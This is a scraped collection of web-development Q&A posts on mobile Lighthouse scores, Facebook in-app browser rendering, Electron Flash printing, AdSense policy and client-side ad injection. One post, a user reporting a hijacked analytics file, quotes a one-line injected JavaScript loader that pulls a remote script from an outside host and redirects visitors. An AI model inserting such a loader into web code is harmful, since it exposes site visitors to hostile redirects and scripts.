The issue I am currently having is when trying to generate a performance report with google lighthouse and/or page speed insights for mobile devices. on desktop emulation I am getting a score of 99 but through mobile emulation it is not even detecting an FCP event. when actually viewing the site on mobile however, it is very responsive and quick to load. I'm not really sure why this may be the case and am not aware of any potential solutions. The only suspicion i have is that the site is not 'optimized' for mobile, as it is the exact same site for desktop just with layout adjustments using JS and CSS. The following image is of the localhost report (https://i.stack.imgur.com/13XnB.png)
to clarify this happens both locally and when hosted.
Things I have tried include:
lazy loading image assets with react-lazy
removing all 3d assets from the site temporarily (react-three-fiber)
trying other analytics tools such as webpagetest (this was able to successfully generate a report and indicate the performance on mobile was not bad)
async load all Api integrations such as google analytics, google reCAPTCHA
pre-connect to all 3rd party resource URIs
Related
i'm facing a weird issue, my website doesn't appear well (without CSS & javascript) only in the Facebook mobile browser.
In Desktop everything is OK, in Mobile with Chrome or other browsers is OK.
But when i open my website link or post link inside facebook in-app browser it appears with no CSS & Javascript.
Screenshot of issue >> https://i.ibb.co/R3R3FLd/222977963-228682545788525-3749803821851752230-n.jpg
notice : I don't have a caching plugin.
i'am using Sucuri CDN, and disabled their cache.
thanks for your help
I had a look again, here is the result:
If multiple users are seeing the same issue, I'm thinking that it's related to your CDN handling, serving an outdated/corrupted version.
You might want to refer to Troubleshoot Cache Issues.
My problem
I am currently developing an electron (v4.2.10, I can't upgrade) application with the primary purpose of browsing on a specific homepage (using electron-navigation) and making their flash games playable.
I have included the Pepper Flashplayer (v32.0.0.156) for this purpose and so far it is all working well.
However when trying to print a page including a flash game it will print a blank page. Trying the same in my current versions of Chrome or Firefox (with current flash player) yields the same result, however in Edge it works.
What I've tried so far
I have no access to the actual pages of the site or any of the swf files
The pages with the swf files are http (I tried setting browserWindow web preference disableWebSecurity to true, no change)
I have tried different versions of the flashplayer
Screenshotting the page is sadly not an option
I have looked into the plugin nw-flash-trust but I am accessing an external source
When I downgraded electron to v3.0 it actually managed to print most of the display, which may point to it being related to the underlying chromium version
Does anyone have an idea how I can fix this? I have absolutely no knowledge of flash development itself. I would love to be able to print on v4.10 too. Many thanks for any help!
Recently, I have seen many websites (even Stackoverflow, Microsoft...) auto-redirected to sites in China (jiayijiayi...).
It starts in Google's analytics.js file. When I browse to http://www.google-analytics.com/analytics.js I see:
The first line is pretty strange:
var _hmt_en=_hmt_en||[];(function(){var a=document.createElement("script");a.src="http://cdn.tongjii.us/tongji/tongji.js";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})();
The tongji.js script then loads other scripts:
I'm not sure if this is a Google problem or one specific to my computer. I have Bitdefender Internet Security trial and reinstalled Windows recently. This is also occurring on other mobile devices.
Title says it all. There is little documentation on this. Do not want to violate terms of service.
According to the AdSense policy documentation, AdSense for content cannot be used in an application. Basically, if it's not in a webpage with a domain based URL, it's not to be used with that program. If you have an application written in Android, iOS or Microsoft Windows Mobile, there's an SDK from AdMob for ads in apps. That's your only choice with AdSense.
I recently created a statically generated site for a friend. Today I was surprised when she emailed and said the site was riddled with ads. She has likely been the victim of ad injection. And since she was not using an unprotected network, it's likely caused by some spyware that she unintentionally installed.
Now I read a recent report by Google that claims that this is a big problem, 5.5% of their users had injected ads. Naturally, I don't want the users of my website to see crappy ads next to my content.
How can we stop ads from being injected on the client side? Specifically I want to stop ads being injected by viruses and web browser extensions.
If it's impossible to stop ad injection, can we at least detect ad injection and warn the user?
To clarify, I am looking for a library, API or other client side technology that let's me provide a decent protection against ad injection.
It's not possible to solve this issue by your server side programming . but don't worry about it, Google Chrome, Mozilla & other browser working on this.
Google has identified and disabled 192 Chrome browser extensions that injected rogue ads into Web pages opened by users without being upfront about it. The company will scan for similar policy violations in future.
The action followed a study that the company conducted together with researchers from University of California Berkeley and which found that more than five percent of Web users who accessed Google websites had an “ad injector” installed.
The deceptive Chrome extensions were detected as part of that study, but the researchers also found ad injectors affecting browsers such as Internet Explorer and Mozilla Firefox, on both Windows and Mac OS X.
Google doesn’t specifically ban extensions published on the Chrome Web Store from injecting ads into Web traffic, as long as they clearly inform users about what they do, but the study found that around a third of extensions with such functionality were actually malware.